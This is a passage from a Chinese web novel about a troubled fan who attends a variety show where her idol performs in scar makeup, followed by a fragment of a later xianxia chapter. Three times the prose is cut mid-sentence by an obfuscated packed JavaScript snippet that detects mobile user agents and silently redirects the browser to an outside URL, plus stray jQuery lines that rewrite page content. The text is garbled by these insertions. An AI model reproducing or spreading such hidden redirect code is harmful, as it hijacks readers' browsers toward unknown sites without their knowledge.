《我和偶像绑定了双系统[穿书]》
7. G
2025年6月20日。上午十点二十一分。
刺目的阳光经由生锈斑驳的窗户洒进室内,撒下一片明亮。
半拉开的窗帘右侧,枕着双手的女人正侧脸睡得微沉。
女人身前摆放着一个平板,此刻已然熄屏,凌乱的草稿纸落在桌上地上,细看之下,皆是一些未完成的画稿。
阳光莽撞地照耀着室内,却未落在眉头紧蹙的女人身上半分。
仿佛她早已被世界遗忘。
秦逢溪感受着沉重的身体,方醒的她面容扭曲,头痛欲裂。
她做了一个很不好的梦。
梦中尽是大学最后一年的情景。关于她的母亲,和她最亲近信赖的朋友。
她逐渐起身,未干的泪渍嵌在眼角,她没有擦拭,只是沉默地将昨夜兴起画的稿子尽数撕碎丢进了垃圾桶中。
算了。被庞大悲伤裹挟地快要喘不过气的她想。
一切都算了。
她走不出来。
秦逢溪一手揉着太阳穴,另一只手打开了抽屉。
里面躺着木给她寄的一张邀请函。
上面赫然写着“反差人类”。
“这是穆景深过几天会参加的一个访谈综艺,正好缺观众,如果你有空可以去看看。”木在微信上这样说道。
收到邀请函后的几天,秦逢溪都刻意不去看它,担忧自己随时会反悔。
她不敢靠近穆景深,原本以为自己永远只会是路人甲,她才足够心安地参加穆景深的所有活动,可在穆景深上次同她的对话中,她切实地感到了害怕。
可是此刻,她还是将邀请函拿了出来。
她想见他,如从前千千万万遍那样。
只有这样想着,磅礴的痛苦才能消减半分。
决定好这件事,秦逢溪进卫生间简单洗漱了一番,出来后自衣柜中随意挑选了一套衣服,看了眼时间便出了门。
她先去附近的小餐馆吃了早餐,点了一份馄饨和半份饺子。
吃饭的间隙,秦逢溪不小心点开了手机银行。
她没有划掉,而是点开了账单。
约莫一个月前,她去银行,给一个烂熟于心的账号转还了一笔钱。
秦逢溪盯着这个账号约莫半分钟,才挪开了目光,沉默地继续吃馄饨。
离开餐馆,秦逢溪步行去了附近的公园,寻了个椅子坐下。
阳光仍然耀眼,云卷云舒的天空之下,人来人往。
遛狗的人们在草坪上玩耍,相携而来的老人正在惬意地闲聊,牵手的爱人不住说些酸牙的话,对视一眼,又默契地笑起来。
这些秦逢溪都看见,她沉默地看着,同时忍受着一阵一阵侵袭着自己大脑的疼痛。
日头逐渐沉下,以至于秦逢溪都差点忘记时间的时候,手机响了起来。
秦逢溪低头,发现是木给自己发的一条短信。
“记得准时去。”
秦逢溪熄屏,一分钟后,她再度打开手机,回道:“好。”
去吧,她想。
她需要穆景深。
这些岁月静好的景象,没有一刻与她相干。她想要见到穆景深,贪婪地想抓取那一丝光亮。
*
傍晚17点32分。
秦逢溪开始排队入场。
她来的比较晚,几乎所有人都进了棚,此刻她的前面只有两三个人尚在排队。
“反差人类”综艺在业内极富盛名,因为它每次的主题都不同且主持人非常有节目效果,加之尊重嘉宾的想法,崇尚与嘉宾碰撞出不一样的火花,是一个拥有奇思又友善的综艺。
据统计,来这里的嘉宾有百分之九十五都能在节目播出之后收获一波为她们人格魅力吸引的新粉丝,故而大部分媒体对这个综艺的评价都极好。
它提供给嘉宾的场所也十分友好私密,每次招的观众都不超过二十人,且该综艺的观众邀请函向来只提供给一些业内人士或嘉宾推荐之人,其余人想拿到它可谓难如登天。
秦逢溪进场后,寻了一个角落的位置坐了下来。
等待的间隙,秦逢溪揉着头,想微眯片刻,还未闭眼,就看到了一个十分熟悉的身影。
那人一身蓝色长裙,耳戴耀目珠宝,明眸皓齿,美艳动人,在观众席的灯光照耀下,更显得皮肤白皙透亮,令人难以挪开目光。
秦逢溪赶忙低头弓腰,不愿让那人发现自己。
幸而女人没有望向秦逢溪的方向,在前排寻了个位置便坐下了。
秦逢溪长舒口气。
很快,节目开始了。
观众席的灯光骤然暗下,聚光灯打在舞台之上,一身休闲服的主持人率先上场。
他拿着话筒,极富激情地说道:“欢迎大家收看‘反差人类’,我是主持人房东东!”
说完,他开始念一些广告词,一连串的广告语脱口,没有一丝卡壳,彰显着他的专业水平。
“众所周知,‘反差人类’向来以打满反差为宗旨,来到我们这里的嘉宾都会为大家献上与自己形象截然不同的一面,如果大家也被反差到,可以参与我们的vb讨论,带上话题#今天也被‘反差人类’震撼到了,我们将会在参与话题讨论的用户中挑选幸运用户,送上我们的神秘大奖哦。”
语毕,观众席配合地掌声雷动。
秦逢溪专注地看着,等待着接下来的环节。
听到掌声,房东东笑起来,继续道:“今天来到我们节目的这位嘉宾呢,他的成名曲《不完美童话》可谓是红遍了大江南北,说是新生代歌手最强梯队也不为过,我们节目组也是邀请了他不少次,才终于得偿所愿。今天,他又会给我们带来怎样的反差呢?”
房东东清秀的脸上带着几分期待,扬声道:“掌声有请歌手穆景深——”
话落,房东东退至一旁,灯光再次暗下,唯有一束落在偏后的升降台上。
一阵悠扬的背景乐响起,那是穆景深的《不完美童话》
“世人皆道童话是假
唯你知我丑陋伤疤
情零落,妆半花
流言蜚语怎掩灼灼光华”
随着背景声渐强,穆景深也逐渐上场。
秦逢溪和其余观众都忍不住屏息了片刻。
“反差人类”嘉宾登场时,扮相都会与平常的模样大相径庭。平素跳脱艳丽的演员会一身朴素装扮泯然众人,头身比完美自我要求严苛的模特会特意化上特
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408942|200642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
效妆增肥登场,有的文人雅客则会选择背上吉他假装摇滚青年。
这是“反差人类”的招牌,寓意寻觅另一种人生。
越有反差,便越有节目效果,后续的访谈也会越深入。
而此刻,升降机终于让穆景深的模样出现在了众人的面前。
在看到穆景深后,秦逢溪感觉自己的呼吸都停滞了,连带着几乎忘记了头颅的痛感。
无他,穆景深表现出来的模样,太过令人震撼。
他的脸上浓墨重彩地化上了特效妆,几乎已然辨不清五官,唯有纵横遍布的伤疤肆虐在他的脸和脖颈之上,有几处还泛着初生疤痕的鲜红。
他的眼球也由琥珀色变成了灰色,几乎一切可以辨认他的方式此刻都全然失效。
这是一张几乎不可细看的脸,愈看便愈发感到一种残忍。
主持人显然是知晓一定流程的,此刻也张大了嘴巴,一面骇然一面敬业地走流程道:“景深,我们来跟大家打个招呼吧。”
穆景深接过话筒,朗声道:“大家好,我是穆景深。”
话落,观众席再度沸腾起来。
他连声音都装了变声器,原本醇厚动人的声音,此刻也变得尖细沙哑。
秦逢溪看着他,手指不自觉绞在一起。
这是她从未见过的,狼狈而丑陋地穆景深。
尽管贴合“反差人类”的宗旨,可这未免太贴合,太不像那个光鲜漂亮的他了。
房东东显然知道他带了变声器,道:“景深这次真的为我们节目准备了很多呢,方便问一下为什么今天会以这个装扮来到我们‘反差人类’吗?”
穆景深默了片刻,指节分明的手握着话筒,眼眸状似寻常地扫过观众席,道:“收到节目组的邀请以后,我一直在思考怎样的形象最有反差感,我后来想,不论是怎样的形象,只要我仍然用我自己的脸和声音出现,大家就很难将我与舞台上的穆景深分离,所以我想,唯有彻底改头换面,才能让大家看到一个新的我。”
房东东拍手道:“确实如此,连我都被景深今天的样子给惊讶到了,真的是很用心。那景深你觉得,如果你一直是这个样子的话,你的人生会有什么不一样呢?”
穆景深的眸光,此刻终于落在了他的目标之上。
秦逢溪看着那双灰色的眼眸,骇然未语。
她震惊于他今日的模样,甚至没察觉到自己已然与之对视。
穆景深缓慢而认真地回应道:“如果是这样,我大概永远也成为不了如今的穆景深。”
“若是我当真丑陋、声音难听,恐怕我成不了一个当红歌手,毕竟这个世界对于我这样的人太不宽容。”
一席话激起千层浪,众人,包括主持人房东东,都被他的这句话说懵了。
来到“反差人类”的名人都很珍惜自己的羽毛,即便扮作一个与自己截然不同的形象也绝不会将其贬低,只是承认自己与其的不同之处,同时畅想若是自己当真是如此模样会是怎样的光景。
大家都不傻,贬低的话可是会被观众指摘的,很可能会被说自己假清高不尊重人。
但穆景深就这样说出来了。没有犹疑,没有停顿,只是和盘托出自己的想法。
8. H
房东东赶忙救场道:“景深的意思应该是,拥有出众的外形和声线确实更容易为大家关注,但只要你真的拥有才华,不论你是什么样的容貌声音,只要坚持,也肯定能在自己的领域发光发亮的。”
这是明显的圆场的话,穆景深敛眉,却也并不反驳。
以防万一,房东东开始cue下一个流程。
作为常驻主持人,房东东清楚地知道有些话不能从嘉宾的嘴中说出来。毕竟大家谁也说不准口中会惹出怎样的祸端。
“接下来是我们今天的互动环节,大家知道我们这个访谈节目一般很少和观众互动的,但今天景深如此用心准备,我们也和景深沟通过,想以他现在的形象来和观众一起玩个小游戏。”
话落,工作人员将道具搬上了舞台。分别是一把椅子、一把吉他、以及一个半大的不锈钢盆。
道具准备就绪,房东东道:“游戏规则是这样的,景深将会以现在的形象假装路边歌手唱歌,同时我们会随机挑选三位观众扮演路人,一齐来演绎一下另一种人生里大家与景深相见会是怎样的情形。”
“各位可以随机设计自己的角色,可以是老师,老板,老钱,都可以随意畅想!”房东东玩笑道。
说着,他一边举手示意:“想要参加的观众可以举手哈。”
秦逢溪收回目光,下意识降低自己的存在感。
此时她逐渐发觉,她的头疼竟奇迹般地真的得到了缓解。
像是一种心理作用,靠近穆景深就会靠近幸福。
房东东已然挑选了两位观众,此时还剩最后一位。
不知怎的,第一排突然有一个声音喊道:“我朋友,我朋友想上去!”
房东东现出酒窝,笑道:“您的朋友是哪位呀?”
秦逢溪明亮的杏眸迟顿地微抬。
这个声音,清透明媚,恍若骤雨拂过胭脂巷,她太知道声音的主人是谁。
果不其然,赤色蔻丹的指甲,所指的方向赫然是自己这一边。
方浅晴不住朝她使着眼色:“上去吧!”
秦逢溪望着她,下唇不知何时被自己咬出了浅色印记,她沉默地看着,随后坚定地摇了摇头。
她只能到这里。
方浅晴又道:“你不想上去吗?我知道你害羞,我帮你说了,你别怕!”
听罢,场上观众,包括方浅晴的目光,都聚焦在了秦逢溪的身上。
而她只是摇头,一字不语。
此时情景,任谁来看都知晓秦逢溪不愿配合,房东东自然也看出来了,他预备再寻另一位观众,一旁的穆景深却先开口了。
穆景深站的笔直,斑驳的疤痕盖住了他的神情,道:“那位是我的歌迷,我见过她。我想知道如果是她会有什么样的反应。先开始吧,如果这两位结束她还不愿意上来,就不要强求她了。”
他的声音此刻尖而细,语气却平缓,乍听让人感到几分滑稽。
穆景深隔着半个舞台和观众席,看着偏安一隅垂眸的秦逢溪。
他今日的目的,不过是想看她的反应,他不相信秦逢溪能对他此刻的装扮全然无动于衷。
房东东点头道:“哦——原来是景深的歌迷朋友,看来非常喜欢景深,都让他记住了。那就按景深说的我们先有请前两位观众,这位女生可以再考虑考虑要不要上台哈。”
他揶揄道:“可以近距离观看如此不同的景深的机会,这辈子可能只有这一次哦,可要想好啦。”
秦逢溪低着头,仿若没听见这句话一般。
穆景深收回目光,转身去拿那一把吉他。
原本鲜亮的舞台骤暗,茫茫深夜笼罩着整个演播厅,三秒后,唯一一束灯光打在了舞台左侧的一个男人身上。
男人坐在椅子上,腰背挺得笔直。
他细长白皙的左手手指按住了琴弦,右手则搭在了那都原木琴身之上。
这是极普通的一把吉他,仿佛此刻,他真的不过是一个极普通的试图通过唱歌赚钱糊口的人。
秦逢溪的目光也再度不自觉被他吸引。
那是一种怎样的感觉呢?明知他此刻全然换了一副模样,但只要想到那副躯壳里的的确确装着穆景深,秦逢溪就会感到欢喜。
仿佛穆景深的名字成了三字咒语,这些年只有她在心中默念一遍,就会增加三分勇气。
当然,眼前的人样貌已然不似穆景深。
可这分明是他,从头至尾都是他。
轻扫琴弦,穆景深轻声唱道:
“剥开我丑陋的壳,你所见我,仍然苦涩。
愤怒、不甘、无知、痴狂。
光幕背后,如此这般。”
他唱的缓慢、甚至悲伤。
可他经过变声的声音实在不算好听,哪怕音准在线,谱曲细致,也让人难免觉得刺耳。
这是穆景深未经发行的一首新歌,名为《我与他》。
从来没有他,只是我与另一个我。
穆景深向来喜欢古典乐与R&B,几乎从来没有唱过这样的叙事性民谣。
唱完,第一个观众上场了。
舞台灯光打在男观众的脸上,他表情满是对穆景深的欣赏。
他十分夸张地肯定了穆景深的音乐才华,不住道:“这位先生,我是某某音乐公司的董事长,我一听就觉得你的音乐非常有感觉,不如我们加个联系方式,我这边是音乐公司的,相信我,你有红遍大江南北的潜质!”
穆景深沉默地应下,看不出面上悲喜。
显然,这个观众给自己代入的是一个相当浮夸的董事长角色,表达自己在穆景深另一种人设当中对他的肯定。
有了前人的示范,第二个观众上场同第一个观众几乎如出一辙,不过是换了一套说辞,换了另一个唬人的身份。二人皆是肯定穆景深的才华,对他的长相、声音一概不提。
仿佛大家对此已然心照不宣。
直到第二个观众离开,穆景深的面色都无甚波动。
他尊重规则,倘若所有人都视这一切为无法言说,那他也不会破坏这一切。
他并非不懂,甚至深谙此道。
这不过是另一种形式的外交辞令,拐弯赞美他的才华。可对于他刻意改变的部分却视而不见。
第二位观众离开后,房东东想起先前提到的女生,道:“刚才的那个女生还在吗?怎么样,这样近距离靠近景深的机会你是要还是不要呢?”
鸦羽般的眼睫垂下,穆景深突然不再想知道秦逢溪的回答。
假。
一切都太假。
轻柔缓慢的脚步声,在话筒的人声里显得如此渺小。
可再渺小,却也难以忽视它的存在。
秦逢溪上台了。
房东东刚要让秦逢溪做个简单的自我介绍,便被她脸上的泪水吓到了。
素净、小巧的一张脸上,此刻满是秦逢溪的眼泪。
穆景深听到动静,看向秦逢溪。
他疑惑地蹙眉。
房东东道:“怎么哭成这样啦?是景深的歌让你太感动了吗?”
秦逢溪摇摇头,眼泪仍在汹涌,可她不知道自己应当说些什么。
“直接开始吧,”穆景深对房东东道,“她可能太激动了,说不出来话。”
话虽这样说,但是穆景深心里比谁都明白,他在期待她能说些什么。
说些什么,说你见过我。
说你熟悉我。
穆景深在心中咬牙切齿地重复道。
“好!”房东东稳稳接住穆景深给的台阶,道,“那让我们再度进入情景时刻——”
房东东说完,带着秦逢溪走到了舞台中央。
灯光,再度暗了。
复亮起时,穆景深再度坐上了脚凳,那起原木吉他。
他看着秦逢溪,眸光如附骨之蛆般攀上她的脸,缓缓唱道:
“不配得到幸福的是我,你会否为此觉得庆幸呢?”
这一次,他不再从头唱起,而是直接转到了副歌。
“庆幸我褪下光鲜,不过腐朽躯壳一个。”
穆景深的手灵巧地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408943|200642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拨弄着吉他弦,眼睛却攫取着秦逢溪每一丝可能的情绪。
副歌部分结束,穆景深站了起来,将吉他搁置一旁,走到了秦逢溪的身边。
他无法再视而不见,因为此时的秦逢溪,早已泣不成声。
一束光芒打在她的身上,她的眼泪纵横淌在脸上,经由光束泛着亮光。
跟随着穆景深的光束也走向了秦逢溪,两道光芒最终融为一笔。
穆景深皱眉,想为秦逢溪擦拭脸上的泪水。
哭的太惨,仿佛是他欺负了她。
但秦逢溪吸了吸鼻子,在他伸手的瞬间,从自己的银白皮包中掏出了钱包,随后将里面全部的现金都放进了地上的不锈钢盆里。
秦逢溪已经很少用到现金,但每次收到都会放在钱包里以备不时之需。
此刻,她将自己所有现金放进去的动作令所有人都吃了一惊。穆景深抬起的手也滞在了半空。
他暼了一眼地上的钱,对秦逢溪道:“你这是干嘛?”
秦逢溪的眼泪大颗大颗地往下掉,磕磕绊绊地说道:“你是一个很好的歌手……这些是你应得的。”
穆景深哼笑一声,眸中满是复杂的情感:“尽管我丑陋不堪,还是在用破锣嗓子唱歌吗?你真的很善良。”
“善良”二字,穆景深刻意咬得很重。实则,他根本不信这样的善良。
秦逢溪听懂了。她转身,径直走向观众席。
就在房东东和穆景深都以为她是要离开的时候,秦逢溪一边深呼吸调整一边认真地问方浅晴道:“你身上有零钱吗?我手机上转给你。”
这是在做什么?身旁的观众惊疑地望着她俩。
随后,方浅晴并未多问,十分配合地从钱包里拿出了钱,要跟秦逢溪交换。
秦逢溪伸手。
穆景深感到一股扑面而来的荒唐。
他走进观众席,拉住了秦逢溪的手腕。
“你知不知道你在干嘛?”穆景深沉声道。
秦逢溪回头,蓄满泪水的杏眸一片朦胧。
她轻声道:“我知道。”
“如果这一切都是真的,你真的是现在的样子,你唱的歌同样……让我觉得很感动。我不知道我能告诉你什么,我只是想让你得到一些钱,让你相信……相信你真的打动了我。”
“如果是‘你’,能再多拿些钱的话,至少也能吃一顿不错的饭。”
秦逢溪一字一顿,说到最后,她的声音愈来愈小,最后一个字甚至快要听不清。
仿佛她已经用尽了最后一丝勇气。
为什么她会这么难过呢?秦逢溪也说不清楚。
当聚光灯落在乔装过后的穆景深身上,当他唱出“光幕背后,如此这般”的时候,秦逢溪的理智便崩了弦。
在她自己都没有意识到的时候,她走上了舞台。
是因为穆景深吗?还是因为,她在穆景深的歌里听到了自己呢?
听到了那个胆怯的自己。
因为是穆景深,所以她听得认真,所以她的反应会与听其他人的歌的时候的自己都不同。
她突然很想伸出手帮他,仿佛那样也就帮到了自己。
那一刻,唯有秦逢溪和穆景深真的当真了。
不再视眼前一切为一次情景游戏。
听罢,穆景深眼睫微垂,盖住了一半的瞳孔,此刻,本就难以从外表看出的情绪的他更让人拿不准他的想法。
约莫数秒后,他自工作人员手中接过了纸巾,轻柔地擦拭秦逢溪的眼泪。
他叹了口气,自眼角擦拭到脸颊,一下一下,仔细认真。
穆景深无奈地说道:
“我不是为了让你哭成这样叫你过来的。”
这不过是一场试探。针对她的试探。
秦逢溪水亮的眸子望着他,一脸不解。
水糊了眼眸和大脑,秦逢溪疑虑逐渐攀爬,却抵达不到理智之域。
“没事,挺好的。”穆景深突然轻声道。
至少她的话,是他今天唯一听到的非外交辞令。
9. I
2025年6月20日。晚间21点整。
房东东将台本上的流程几乎都走完了,只剩下最后一个环节。
“景深,”房东东倾身向穆景深,做认真聆听状,“今天你以这样的形象出现在大家的面前,的确是非常大的一个改变,在我们的节目的末尾,不知你有什么感想要和大家分享的吗?”
穆景深此刻已然接受了许久的访谈,姿态闲散地靠在沙发上,闻言,他摘掉了佩戴了几乎一整晚的变声器。
独属于穆景深的,醇厚且有磁性的声音自话筒传遍了整个演播厅。
穆景深缓缓道:“前几天我已将上半年到账的演唱会收入全部捐出,今年下半年我还会进行多场全国巡演,同样的,这些收入我会在最后一场演唱会结束之后尽数捐赠。”
穆景深的背逐渐挺直,不似先前随性。
他的眸子望着摄像机,仿佛与另一端的什么人在对话一般:
“我会捐给相关的基金会,希望能给予如此刻的我一般面部毁伤的人一些希望。我伪装成了你们,但我知道,我永远无法真的对你们感同身受。”
“这是我唯一能为你们做的,也希望大家都能关注这个群体,给予他们能力范围内的帮助,即便无法帮助,也希望大家能做到尊重他们,谢谢。”
这是穆景深一开始就和节目组商量好的说辞,一方面是工作室想让穆景深温柔的形象更深入人心,另一方面也是为了穆景深本人一部分的私心。
长达一年的穿越,他早已习惯了白眼与冷待,清楚地明白此刻他仍能接受到如此多的善意并非世界本身的美好,只是因为他是穆景深,而非方冥深。
故而他自作主张,想说出这些话。
说完,穆景深看向房东东道:“这就是我全部想说的了。”
房东东抿唇,表情对此大为赞赏。
台上台下掌声雷动。
唯有秦逢溪和穆景深没有鼓掌。
秦逢溪早已缓了过来,甚至开始对自己方才的行为感到后怕。理智回笼,她也逐渐对远处那个不同的方景深感到了几分奇异的熟悉。
但这份熟悉感又在穆景深说完这句话之后尽数消失。
不会的,秦逢溪想。这绝不是同一个人。
穆景深是那样光鲜得体又美好的一个人。
心中升起的那一丝疑问,方才萌芽便被秦逢溪掐灭了。
二十分钟后,节目的录制彻底结束了。
观众陆陆续续地退场,方浅晴自前排站了起来,却并未往出口的方向离开。
蓝色长裙身影愈来愈近,最终落定在秦逢溪的跟前,清艳的声音发出一声惊叹:“逢溪,你刚才真是太酷了!”
秦逢溪的目光尚且黏在穆景深的身上,看着他最后的一丝背影也逐渐消弭。
随之,她听见了方浅晴的声音。
“什么?”秦逢溪没有听清。
“我说,”方浅晴重复道,“你刚才真的很酷哦。”
秦逢溪不明所以,被方浅晴拉了起来。
“景深他的身边,见风使舵人面鬼语的人太多了。能听到你发自肺腑的真心与他交谈,我感到好高兴。”深蓝饱满的钻石耳环徜徉在方浅晴的耳畔,她握着秦逢溪的手,凤眼中满是欣喜。
秦逢溪想挣脱,反被握得更紧了。
“或许,这就是他对你这么不一样的原因吧。”
说完,方浅晴笑得更深了。
秦逢溪:“?”
“——他?”秦逢溪不解,“他是谁?”
“景深呀。”方浅晴明眸清亮,仿佛在说“你这不是明知故问吗?”
秦逢溪的大脑仿佛都卡壳了,许久才道:“为……为什么?”
如果说穆景深对她全然没有不同,的确很难让人相信。秦逢溪先前不愿去想——其实现在也不愿,可方浅晴的话还是让她忍不住想听下去。
她不是傻子,她的确感受到了穆景深对她确有几分奇异。
方浅晴轻轻地抚摸着秦逢溪小巧白皙的手,轻柔地说道:“因为你是个很真诚的人。别说他,连我也越来越喜欢你了。”
“浅晴姐,你在开什么玩笑。”秦逢溪小巧的五官皱作一团,显然不赞同方浅晴的说辞。
“我可不认为这是玩笑哦。”方浅晴凤眸蕰着坚定的光,仿佛预见木已成舟一般。
秦逢溪避开目光。
她挣脱不开方浅晴的手,只得放弃,另一只手绞着深灰的裙侧,微咬唇,鼓起勇气问道:“浅晴姐,你和穆先生是什么关系?”
方浅晴眉微扬:“我吗?”
红唇勾起,方浅晴轻笑道:“这不算什么大秘密,只是我和景深都很少提及。”
“但如果是你想听,我想就没有隐藏的理由了。”
方浅晴此刻穿着一双数排细钻镶嵌的银色细高跟,比之秦逢溪高了半个头。
她俯视着秦逢溪,低头轻声道:
“我是他的姐姐,我们曾有一个算得上完整但烂透了的家庭,在那里我们一起生活过很多年。但我们并没有血缘关系。”
短短一段话,内涵的信息量不可谓不大。
秦逢溪下意识道:“抱歉。”
竟是这样的家事秘辛,秦逢溪有些后悔问了。
“没事的,我不是说了吗,如果是你,我不介意说。”方浅晴笑着安慰道。
秦逢溪更不知道自己要说些什么了。
而更多的疑问也随之滋生。
如果方浅晴是穆景深的姐姐,的确可以解释她能和穆景深一起吃饭的事情,可是她为什么要邀请自己一起呢?要知道当时,秦逢溪甚至没有和穆景深说过超过三句话。
她在那时又为什么笃定穆景深对自己不一样呢?
秦逢溪心中疑虑愈深。
此时,手机适时地响起。
秦逢溪打开微信。
木:“来后台。”
秦逢溪:“?什么意思。”
微信铃声猛地响起。
方浅晴揶揄地看着秦逢溪,无他,秦逢溪的微信铃声都是穆景深的歌曲。
秦逢溪继续躲闪目光,接起了电话。
“往右走,那里有工作人员通道,我让人在那接你了。”
秦逢溪吓得手机差点掉在地上。
怎么是穆景深的声音!
秦逢溪按住手机,猛地深呼吸了一下,将手机重新贴在耳旁,道:“你……你是?”
穆景深:“……”
他又开始怀疑秦逢溪是他多年歌迷的真实性了。
“穆景深。”
秦逢溪看了一眼id,又看了一眼“正在通话中”的字样,回忆起先前的蛛丝马迹,突然觉得自己有些不认识这个世界了。
穆景深却不给她时间细想,道:“右边工作人员通道,我在里面等你。”
说完,他便将电话挂断了。
徒留秦逢溪于风中凌乱。
方浅晴看出秦逢溪的脸色不对,关怀道:“怎么了逢溪?”
秦逢溪当然不会说穆景深和自己通电话的事情,恐怕只会让方浅晴对自己的误会愈深。她思索了一番,还是决定前往。
“我还有点事,浅晴姐,你先走吧。”
“不跟我一起吗?”方浅晴红唇微瘪,看起来有几分委屈。
“不……不了。”
“可是这几天我约你出来你总是拒绝我,今天好不容易能见到诶。”她美艳的脸上显出烦恼的神情,乍看竟带着几分娇憨。
秦逢溪实在不适应这样的情形,只得道:“对不起。”
似是看出了秦逢溪的局促,方浅晴不再强求,只道:“无妨,我会再邀请你的。记得回我的信息哦。”
“嗯。”秦逢溪回道。
方浅晴满意地笑起来。
直到那一抹丝绒蓝终于消失在视野之中,秦逢溪吐了口气,进了工作人员通道。
如穆景深所说,那里的确有人在等着自己。
秦逢溪由那位女工作人员领着,穿过一众工作人员,经由挂着牌子的化妆间,最终停在了一张贴着“穆景深”名字的休息室门前。
工作人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408944|200642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
员带到后便离开了,秦逢溪走上前。
她伸出手,试探性地敲了敲门。
动作刚停,门便自里面打开了。
此刻,穆景深还未卸妆,仍是触目惊心的模样,为了参加节目,他的脸刻意没有化得血腥,只是突出了盘踞的疤痕,他站在秦逢溪身前,压她一个半头的身高优势使得他显得更为阴沉。
秦逢溪心脏忽而漏了半拍。
“进来吧。”穆景深道。
秦逢溪跟在其后,同时将门关上了。
她沉默地环视了一圈。
休息室很大,装潢呈明亮的暖色调,其间沙发空调电视机一应俱全,里面似乎还带了单独的卫生间。不愧是当红歌星的待遇。
穆景深站在前面,背对着秦逢溪,一手摩挲着桌上刻着节目logo的杯子,开口道:“你没有什么要跟我说的吗?”
他在提醒她,想要她亲口说出那句话。
随后告知自己她的身份,为何会自己一样出现在那个世界里。
孰料秦逢溪沉吟了片刻,回道:“穆先生,虽然我不知道为什么你会这样关注我,但是我们毕竟不是一路人。若是我这样的普通歌迷和您走得太近,总是会生闲话的。”
秦逢溪左思右想,不论是微信还是先前的事,最终指向似乎都是穆景深想要结识自己,个中原因秦逢溪不知晓,也不愿意深入地了解。
她只想在一切没有更恶劣之前先伸手指停。
穆景深:“?”
他不可思议地靠近秦逢溪,居高临下地看着她。
秦逢溪不住往后躲,直到背脊靠墙,避无可避。
毫无征兆的,穆景深笑起来:
“不可能吧。”
他弓着腰,似乎是听到了什么极好笑的笑话。
她竟没有认出自己。
这太荒谬了。
他笑得太张扬,全然发自肺腑,胸腔都随之鼓震。
秦逢溪从未见到笑得这样激烈的穆景深,他从来得体,从不逾矩。
仿佛此刻的穆景深才是真正的他。
过了约莫两分钟,他才止住笑,在秦逢溪不解的目光中重新变回先前正经的模样。
“你不必为此担忧,”穆景深促狭地看着她。
“我已经和节目组说过了,关于你的那部分画面,他们会删除处理。”
穆景深琥珀色的眸子勾勒着秦逢溪素白的轮廓,带着几分侵略性:“我不会用这么卑劣的手段的。让一个……内向的人暴露在大众视野里。”
说话停顿处,穆景深的眸光愈深了几分。
“谢谢,”秦逢溪道。
她正色道:“也希望穆先生能记住我方才的提议。”
“什么提议?”穆景深扬眉。
“普通歌迷和当红歌手不是一路人,不应该走得太近。”
话落,室内诡异地安静了两秒。
秦逢溪低着头,不再言语。
“秦逢溪,我本来有很多话想问你,”穆景深轻笑一声,“但我想,今天的确不是时候。”
“我会让你明白,你和我,从来都是一路人。”
说这句话时,室内灯光照在穆景深琥珀色的眸中,映出秦逢溪的小巧素净的脸。
他盯着她,如同凝视专属于自己的猎物。
秦逢溪身体突然抖了一下,抬头,不可置信地望着穆景深。
她做了一件这辈子都没想到自己会做的事情。
秦逢溪当着穆景深的面逃跑了。
没有回应,没有多余的动作。如同带有危险雷达的兔子,感知到危险便立马逃离。
看着灰色身影逐渐跑远,穆景深的眼神逐渐暗下。
他靠着玻璃长桌,室内明亮,他的身影却平生了三分寂寥。
他突然轻声呢喃道:“秦逢溪,你还会再见到我的,很多很多次。”
他不着急惊动她,他突然觉得对方真的很有趣。
他想了解她。
这样想着,盘踞在体内一刻也未曾止息的痛苦竟奇迹般地缓和了几分。
12. L
月不信听罢,凌厉双眸扫过全场。
除了方冥深,其余众人都没有被掳走。
作为修为已入人类巅峰之境的修仙者,他的识海对一些危机感知极强。
先前他对于狗尾妖的攻击,虽感觉到了不妙,但仍在自己的可控范围内。
但此刻,极为强烈的不安令他心跳都加速了几分。
怎会如此?难道方冥深才是狗尾妖的目标吗?
他虽为年轻一代的强者,但自比不上萧肃,除了战斗力强悍也并没有极为特殊之处。
为什么狗尾妖要将其掳走?它的目的是什么?
月不信凝神,试图感知狗尾妖本体所在。
“奇怪,”月不信沉声道,“那妖孽的本体,我已感知不到了。”
在场的年轻一辈听罢,皆惊出了一身冷汗。
若连三长老也感知不到狗尾妖的本体,可见先前那妖孽仍留有后手。
这个妖孽,竟比他们想象地要棘手得多。
*
方冥深蹙眉,逐渐醒来。
五脏六腑传来钻心的疼,他差点被这痛感折磨地再度晕过去。
他艰难地睁开眼,被眼前的一切惊住。
遍布周身的狗尾草呈浑浊的赤色,混着泥沼干草与血液的腥味,横冲直撞闯入鼻息,他倒在地上,不住干呕起来。
“你醒了。”一个柔和的声音传来,仿若青草浅淡。
